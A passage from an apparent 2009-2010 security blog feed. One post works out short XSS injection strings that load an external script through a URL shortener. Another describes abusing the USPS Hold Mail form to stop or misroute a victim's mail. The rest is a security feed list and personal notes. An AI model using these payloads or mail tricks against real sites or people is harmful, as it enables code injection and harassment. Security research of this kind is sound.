&lt;pre&gt;&amp;lt;input TYPE=&amp;quot;TEXT&amp;quot; NAME=&amp;quot;target_pattern&amp;quot; VALUE=&amp;quot;&amp;quot;&amp;gt;&amp;lt;script src=http:ix.lt/##&amp;gt;/*&amp;quot; SIZE=20
               maxlength=30 ONKEYDOWN=&amp;quot;someFunction()&amp;quot;&amp;gt;
&amp;lt;!-- farther down --&amp;gt;
&amp;lt;input type=&amp;quot;text&amp;quot; value=&amp;quot;should be commented out&amp;quot;/&amp;gt;
&amp;lt;script&amp;gt;
/* Here is a script block comment */
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
If such a situation could be found, my injected &amp;lt;script&amp;gt; tag would have a matching script tag farther down the page, which would complete my script block and would load the external script referenced by my shortened url.&lt;br /&gt;

&lt;br /&gt;
Working copy:&lt;br /&gt;
&lt;br /&gt;

Actually, blogspot won't let me publish a working sample of the code above, because there is no matching &amp;lt;/script&amp;gt; tag.  So, if you want to test it in your browser, you'll have to copy the code and run it on your computer.&lt;br /&gt;
&lt;br /&gt;
Another thought that occurred to me while I was experimenting with url-shorteners is that it would VERY handy to have a url-shortener that passed supplied url params onto the target url.  A shortened url, such as http://ix.lt/google that references http://www.google.com/search would then be able to be used like this: http://ix.lt/google?q=cookie%20recipes, which should end up with the final url of http://www.google.com/search?q=cookie%20recipes, which, of course, would give you a search for cookie recipes.&lt;br /&gt;
&lt;br /&gt;
This would open up a different way to do XSRF, since most url-shorteners (at least the ones I tried) don't keep the url-params from the target url.&lt;br /&gt;
&lt;br /&gt;
Any comments?&lt;br /&gt;
&lt;br /&gt;
&lt;span class="update-title"&gt;UPDATE:&lt;/span&gt;
mckt (&lt;a href="http://skeptikal.org"&gt;http://skeptikal.org&lt;/a&gt;) suggested using // instead of http:.  He explained that the same way a single slash in front of a path means to use the current domain, that a double slash means to use the same protocol, which in this case is http.&lt;br /&gt;
&lt;br /&gt;
This drops the total injection down to 34 characters:
&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script src=//ix.lt/##&amp;gt;&amp;lt;/script&amp;gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
This also drops the injection code with the javascript comment down to 27 characters:
&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script src=//ix.lt/##&amp;gt;/*
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Almost down to 30 characters!&lt;br /&gt;
&lt;br /&gt;
&lt;span class="update-title"&gt;UPDATE (1/12/09):&lt;/span&gt;&lt;br /&gt;
I was brainstorming other ways to go about doing this with Miles, and we came up with something:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script src=http:ix.lt/## /&amp;gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
30 characters!  I had tried using &amp;lt;script /&amp;gt; tags (no second closing tag), but had only tried them in Firefox.  Miles brought it up again and tried it in Safari, and boom, it worked!  It also works in Chrome.  I think it's a WebKit behavior that accepts those types of script blocks.&lt;br /&gt;
&lt;br /&gt;
Originally after we had started experimenting with the &amp;lt;script /&amp;gt; form, we were still using //ix.lt/## as the url to load our javascript from.  For some reason, it just wasn't loading our script when we tried it on the site we were testing.  So I used the firebug console and typed location.href = "//ix.lt/##", which took us to http&lt;span style="color:red"&gt;s&lt;/span&gt;://ix.lt/## instead of http://ix.lt/##.  It soon became very apparent that ix.lt doesn't support https, which was causing the problem.&lt;br /&gt;
&lt;br /&gt;
To fix the problem, we had to revert back to the slightly-longer form of http:ix.lt/##.  However, this was still under 30 characters, so we met our goal.&lt;br /&gt;
&lt;br /&gt;
I learned a lesson to not forget what the shortcuts mean when you use them.  I could have easily pounded my head against this one for a long time without realizing why it wasn't working.  Shortest &amp;#x2260; bestest (I know, bad grammar, but it rhymes!)&lt;br /&gt;
&lt;br /&gt;
I also posted something over at &lt;a href="http://sla.ckers.org/forum/read.php?2,32990"&gt;http://sla.ckers.org&lt;/a&gt; asking  for other ideas.  It might be worth it to check back on that every now and then.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-6756360327803995021?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/6756360327803995021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6756360327803995021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6756360327803995021'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls.html' title='XSS and Ultra Short Urls'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1595765320908109804</id><published>2009-12-18T08:03:00.000-08:00</published><updated>2010-01-04T08:10:24.447-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='embarassing'/><category scheme='http://www.blogger.com/atom/ns#' term='DOS'/><category scheme='http://www.blogger.com/atom/ns#' term='USPS'/><category scheme='http://www.blogger.com/atom/ns#' term='attack'/><category scheme='http://www.blogger.com/atom/ns#' term='mail'/><title type='text'>Free DOS Mail Attack</title><content type='html'>&lt;div class="note"&gt;&lt;b&gt;UPDATE&lt;/b&gt;: Well, I searched around to try and find other articles about this, and I came up with a bunch of them.  Two of them can be found here: &lt;a href="http://msmvps.com/blogs/alunj/archive/2007/06/09/can-t-i-trust-the-postal-service-part-3-the-service.aspx"&gt;http://msmvps.com/blogs/alunj/archive/2007/06/09/can-t-i-trust-the-postal-service-part-3-the-service.aspx&lt;/a&gt; and at Bruce Schneier's blog here &lt;a href="http://www.schneier.com/blog/archives/2006/04/man_diverts_mai.html"&gt;http://www.schneier.com/blog/archives/2006/04/man_diverts_mai.html&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="note"&gt;The online change of address service is a &lt;i&gt;little&lt;/i&gt; better.  It charges $1 to a credit card.  It says it checks your identity using your payment info, but I'm sure you could get around that with a little social engineering.  That idea is even scarier than the one I've written about in this post...&lt;/div&gt;
&lt;br /&gt;

If my wife and I are going to be out of town for any extended period of time, we usually put our mail on hold so it won't be sitting there in our mailbox.  We usually do this online at the &lt;a href="https://holdmail.usps.com/duns/HoldMail.jsp"&gt;USPS&lt;/a&gt; website.  It had been quite a while since I had done this, and it occurred to me just how vulnerable this is to "attack".  All the page requires is your name and address.  No verification is required to make sure that the person placing the hold request is actually authorized to do so.&lt;br /&gt;
&lt;br /&gt;
Talk about a DOS attack!  All you need to know is someone's address and name and the dates you don't want them to receive any mail, and BOOM! you've denied that person of any mail.  They can pick it up later though once they figure it out.&lt;br /&gt;
&lt;br /&gt;
I looked more into this to see if there were any other catches that makes it at least a little more secure than I initially thought, but it turns out it's actually worse!  This is what the &lt;a href="http://faq.usps.com/eCustomer/iq/usps/request.do?session={c3420b10-ebef-11de-cdf0-000000000000}&amp;event=1&amp;view()=c{0b004980-e8d1-11dd-c7f2-000000000000}&amp;objectId=&amp;eksObjectId=&amp;objectType=Case&amp;isJumpEnabled=false&amp;isContentJumpEnabled=false&amp;vendorKey=&amp;objTitle=&amp;versionId=3102&amp;searchProperties=undefined&amp;naturalAdvance=false&amp;allStr=&amp;phraseStr=&amp;anyStr=&amp;noneStr=&amp;keywordStr=&amp;tTitle=&amp;topicFromSub=&amp;topicsORSubUrl=&amp;report(0000)=p{6d39af50-6975-11dd-e6c4-000000000000}&amp;bcobjectId={ceff8d00-6974-11dd-e6c4-000000000000}&amp;search=Hold%20Mail&amp;topicAndSubtopic=Buying$ALL"&gt;FAQ on Hold Mail&lt;/a&gt; says:

&lt;div class="quote, answer"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;Do I need to submit multiple Hold Mail requests if there is more than one person at the same address?&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
All mail regardless of name will be held for the address entered. Submitting a Hold Mail request once is all that is required to holdmail delivery for everyone at the address.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;

So, not only do you hold all mail for that one person, you hold all mail for that entire address!  It gets better! (also from the same FAQ page):

&lt;div class="quote, answer"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;How do I make changes to a previously submitted Hold Mail request?&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
To make changes to your original online or telephone Hold Mail request (dates, options, etc.), &lt;i&gt;&lt;b&gt;&lt;u&gt;you will need your confirmation number&lt;/u&gt;&lt;/b&gt;&lt;/i&gt;.  If making the change online:
&lt;ol&gt;
&lt;li&gt;Go to Hold Mail Service and select "Edit or Cancel your HoldMail Request." The system will proceed to the "Customer Information" page.&lt;/li&gt;
&lt;li&gt;Select the "Edit your request" radio button and enter your confirmation number, street name/number, city, state, and 5-digit ZIP Code. The confirmation number is not case sensitive.&lt;/li&gt;
&lt;li&gt;After you enter the requested information, press the "Continue" button. The system will proceed to the "Edit a Request" page and display your HoldMail Request.&lt;/li&gt;
&lt;li&gt;Modify the beginning date, ending date or both to fit your current plans. If your Hold Mail request has started, you can only modify the ending date.&lt;/li&gt;
&lt;li&gt;After making updates, scroll to the bottom of the page and press the "Continue" button. Then press "Yes" to verify.&lt;/li&gt;
&lt;li&gt;A confirmation page will be displayed to indicate your request has been updated.&lt;/li&gt;
&lt;/ol&gt;
To change an online or telephone Hold Mail request, you may also call us toll free at 1-800-ASK-USPS (1-800-275-8777) to cancel your request. You will need your confirmation number to alter your request by phone.&lt;br /&gt;
&lt;br /&gt;
If you made your Hold Mail request in person at your local Post Office or you do not have your confirmation number, you will need to go to your local Post Office to make changes to your Hold Mail request.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;

Wow, what a pain! If you do this, you will essentially be forcing them to go &lt;i&gt;into&lt;/i&gt; the local Post Office in order to make any changes, since they need a confirmation code to change it online or over the phone.&lt;br /&gt;
&lt;br /&gt;
Crazy stuff!  There is also a text box for additional instructions.  This is where things could really start to get interesting.  You could try and switch people's mail by adding additional instructions to deliver all mail while "we" are gone to &lt;i&gt;"my friend's"&lt;/i&gt; address (their neighbors) and then deliver all mail from the neighbor to "his friend's address" (the original target).  This would probably confuse the heck out of any mail man (or is mail-worker more correct?  Briefträger?), as well as both neighbors.&lt;br /&gt;
&lt;br /&gt;
There are more nefarious deeds that come to mind about this, but I'll leave that up to you to have fun imagining things.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1595765320908109804?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1595765320908109804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/12/free-dos-mail-attack.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1595765320908109804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1595765320908109804'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/12/free-dos-mail-attack.html' title='Free DOS Mail Attack'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-8369334966515979708</id><published>2009-12-16T09:17:00.000-08:00</published><updated>2009-12-16T09:22:45.493-08:00</updated><title type='text'>To Infinity, and Beyond!</title><content type='html'>Finally!  I've got one more project to finish for my graphics class and then I'll be officially done as an undergraduate at BYU!  Now I should have a lot more time to finish writing up all of those blogposts that I stubbed out and never finished (really, there are quite a lot of them).  You can expect this blog to be a lot more active now.&lt;br /&gt;
&lt;br /&gt;
I've also been applying around for security-related jobs in fields such as web-application security, network security, malware analysis, CNA/CNE (computer network attack, computer network exploitation), penetration testing, security research, etc.  If you happen to know of an opening somewhere, or know of someone else who might know, shoot me an email.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-8369334966515979708?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/8369334966515979708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/12/to-infinity-and-beyond.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8369334966515979708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8369334966515979708'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/12/to-infinity-and-beyond.html' title='To Infinity, and Beyond!'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-6269641576284129303</id><published>2009-10-15T07:54:00.000-07:00</published><updated>2009-10-15T07:59:02.930-07:00</updated><title type='text'>Feeds I Monitor</title><content type='html'>Sometimes I want to share the security feeds/blogs I monitor with others, so I usually just give out this link &lt;a href="http://www.bloglines.com/public/nephi-johnson" target="_blank"&gt;http://www.bloglines.com/public/nephi-johnson&lt;/a&gt;.  BUT, Bloglines is really really slow opening some of the feeds from that link.  So, I've decided to just post all of the feeds and blogs I monitor here:&lt;br /&gt;
&lt;br /&gt;

&lt;div style="text-align: center"&gt;
&lt;a href="http://atlas.r4780y.com/cgi-bin/atlas" target="_blank"&gt;-atlas wandering-&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.computerdefense.org" target="_blank"&gt;.:Computer Defense:.&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.ncircle.com/" target="_blank"&gt;360 Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://addxorrol.blogspot.com/" target="_blank"&gt;ADD / XOR / ROL&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://kuza55.blogspot.com/" target="_blank"&gt;Alex's Corner&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://techbuddha.wordpress.com" target="_blank"&gt;Amrit Williams Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://itpro-blog.blogspot.com/" target="_blank"&gt;An IT Professional’s Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.anachronic.com/" target="_blank"&gt;Anachronic&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.martinsecurity.net" target="_blank"&gt;Andrew Martin&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://myappsecurity.blogspot.com/" target="_blank"&gt;Anurag Agarwal - Application Security Evangelist&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://appsecstreetfighter.com" target="_blank"&gt;AppSec Street Fighter - SANS Institute&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://xs-sniper.com/blog" target="_blank"&gt;Billy (BK) Rios&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.securitywhole.com" target="_blank"&gt;Blog | Security Whole&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.boazgelbord.com/" target="_blank"&gt;Boaz Gelbord&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#bugtraq" target="_blank"&gt;Bugtraq&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;CGISecurity - Website and Application Security News&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://cktricky.blogspot.com/" target="_blank"&gt;cktricky and Web Application Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.commandlinekungfu.com/" target="_blank"&gt;Command Line Kung Fu&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://pentesterconfessions.blogspot.com/" target="_blank"&gt;Confessions of a Penetration Tester&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#dailydave" target="_blank"&gt;Daily Dave&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://ddanchev.blogspot.com/" target="_blank"&gt;Dancho Danchev's Blog - Mind Streams of Information Security Kno&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;DarkReading - All Stories&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://rgaucher.info/" target="_blank"&gt;deep inside | security &amp; tools&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://denimgroup.typepad.com/denim_group/" target="_blank"&gt;Denim Group, Ltd.&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://preachsecurity.blogspot.com/" target="_blank"&gt;Digital Soapbox - Preaching Security to the Digital Masses&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.disenchant.ch/blog" target="_blank"&gt;Disenchant's Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://ericsblog.shavlik.com" target="_blank"&gt;Eric's Musings on the Security World&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://evilfingers.blogspot.com/" target="_blank"&gt;EvilFingers&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.f-secure.com/weblog" target="_blank"&gt;F-Secure Antivirus Research Weblog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.f-secure.com" target="_blank"&gt;F-Secure Latest 10 Corporate News Rss Feed&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.fireeye.com/research/" target="_blank"&gt;FireEye Malware Intelligence Lab&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#firewall-wizards" target="_blank"&gt;Firewall Wizards&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.foragesecurity.com/" target="_blank"&gt;Forage Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#fulldisclosure" target="_blank"&gt;Full Disclosure&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://gnarlysec.blogspot.com/" target="_blank"&gt;gnarlysec&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.gnucitizen.org" target="_blank"&gt;GNUCITIZEN&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://ha.ckers.org/blog" target="_blank"&gt;ha.ckers.org web application security lab&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://hackademix.net" target="_blank"&gt;hackademix.net&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://hexblog.com/" target="_blank"&gt;Hex blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#honeypots" target="_blank"&gt;Honeypots&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#focus-ids" target="_blank"&gt;IDS Focus&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.thesidebar.org/insecurity" target="_blank"&gt;In.Security Home&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#incidents" target="_blank"&gt;Incidents&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;Indistinguishable from Jesse&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#isn" target="_blank"&gt;Info Security News&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://shampoo.antville.org/" target="_blank"&gt;It's a shampoo world anyway&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://jack-mannino.blogspot.com/" target="_blank"&gt;Jack Mannino&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://jeremiahgrossman.blogspot.com/" target="_blank"&gt;Jeremiah Grossman&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://k3r0s1n3.blogspot.com/" target="_blank"&gt;k3r0s1n3&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://laramies.blogspot.com/" target="_blank"&gt;Laramies Corner&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.matasano.com/log" target="_blank"&gt;Matasano Chargen&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.crypto.com/blog" target="_blank"&gt;Matt Blaze's Exhaustive Search&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.avertlabs.com/research/blog" target="_blank"&gt;McAfee Avert Labs&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blogs.msdn.com/michael_howard/default.aspx" target="_blank"&gt;Michael Howard's Web Log&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.mindedsecurity.com/" target="_blank"&gt;Minded Security Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#microsoft" target="_blank"&gt;MS Sec Notification&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.mckeay.net" target="_blank"&gt;Network Security Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.nibblesec.org/" target="_blank"&gt;Nibble Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.dhanjani.com/blog/" target="_blank"&gt;Nitesh Dhanjani&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://i8jesus.com" target="_blank"&gt;omg.wtf.bbq.&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://p42.us" target="_blank"&gt;p42 labs&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://pauldotcom.com/" target="_blank"&gt;PaulDotCom&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#pen-test" target="_blank"&gt;Penetration Testing&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.portswigger.net/" target="_blank"&gt;PortSwigger.net - web application security&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;random dross&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#risks" target="_blank"&gt;The RISKS Forum&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://isc.sans.org" target="_blank"&gt;SANS Internet Storm Center, InfoCON: green&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://isc.sans.org" target="_blank"&gt;SANS ISC SecNewsFeed&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;Schneier on Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.secureworks.com/research/blog" target="_blank"&gt;SecureWorks Research Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;Security Bytes&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.securitycatalyst.com" target="_blank"&gt;The Security Catalyst&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://voices.washingtonpost.com/securityfix/" target="_blank"&gt;Security Fix&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://securityincite.com/blog/mike-rothman" target="_blank"&gt;Security Incite Rants&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://secshoggoth.blogspot.com/" target="_blank"&gt;The Security Shoggoth&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.wisec.it/sectou.php" target="_blank"&gt;Security Thoughts&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://asert.arbornetworks.com" target="_blank"&gt;Security to the Core | Arbor Networks Security » 2009&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://securityrecruiter.blogspot.com/" target="_blank"&gt;SecurityRecruiter.com's Security Recruiter Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.shadowserver.org/wiki/pmwiki.php/Information/Whitepapers?action=rss" target="_blank"&gt;Shadowserver Foundation | Information / Whitepapers&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.shadowserver.org/wiki/pmwiki.php/Main/HomePage?action=rss" target="_blank"&gt;Shadowserver Foundation | Main / HomePage&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://silvertailsystems.wordpress.com" target="_blank"&gt;Silver Tail Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://sirdarckcat.blogspot.com/" target="_blank"&gt;sirdarckcat&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://skeptikal.org/" target="_blank"&gt;Skeptikal.org&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://slashdot.org/" target="_blank"&gt;Slashdot&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.thespanner.co.uk" target="_blank"&gt;The Spanner&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://sunbeltblog.blogspot.com/" target="_blank"&gt;Sunbelt Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.suspekt.org" target="_blank"&gt;Suspekt...&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://sylvanvonstuppe.blogspot.com/" target="_blank"&gt;Sylvan von Stuppe&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://tacticalwebappsec.blogspot.com/" target="_blank"&gt;Tactical Web Application Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://taosecurity.blogspot.com/" target="_blank"&gt;TaoSecurity&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.technicalinfo.net" target="_blank"&gt;Technicalinfo.net Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.wired.com/threatlevel" target="_blank"&gt;Threat Level&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.threatexpert.com/" target="_blank"&gt;ThreatExpert Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.threatfire.com/" target="_blank"&gt;ThreatFire Research Blog&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blog.trendmicro.com" target="_blank"&gt;TrendLabs | Malware Blog - by Trend Micro&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.twitpwn.com/" target="_blank"&gt;TwitPwn&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#vuln-dev" target="_blank"&gt;Vulnerability Development (vuln-dev) Mailing List&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://seclists.org/#webappsec" target="_blank"&gt;Web App Security&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.webmonkey.com/blog" target="_blank"&gt;Webmonkey&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.wired.com/rss/index.xml" target="_blank"&gt;Wired Top Stories&lt;/a&gt;&lt;br /&gt;
&lt;a href="" target="_blank"&gt;XSSed syndication&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://blogs.zdnet.com/security" target="_blank"&gt;Zero Day&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://research.zscaler.com/" target="_blank"&gt;Zscaler Research&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;
Enjoy!  I'll be keeping this updated as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-6269641576284129303?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/6269641576284129303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/10/feeds-i-monitor.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6269641576284129303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6269641576284129303'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/10/feeds-i-monitor.html' title='Feeds I Monitor'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1909845498122248480</id><published>2009-10-05T05:22:00.000-07:00</published><updated>2009-10-15T08:27:44.450-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='embarassing'/><category scheme='http://www.blogger.com/atom/ns#' term='secure coding'/><category scheme='http://www.blogger.com/atom/ns#' term='cert'/><title type='text'>CERT Secure Coding Site Down</title><content type='html'>&lt;div class="note"&gt;(10/5/2009 8:54 AM) &lt;b&gt;EDIT:&lt;/b&gt;The site is now up and running &lt;/div&gt;
&lt;br /&gt;

Well, this would be &lt;b&gt;&lt;i&gt;at least&lt;/i&gt;&lt;/b&gt; a little embarassing:&lt;br /&gt;&lt;br /&gt;

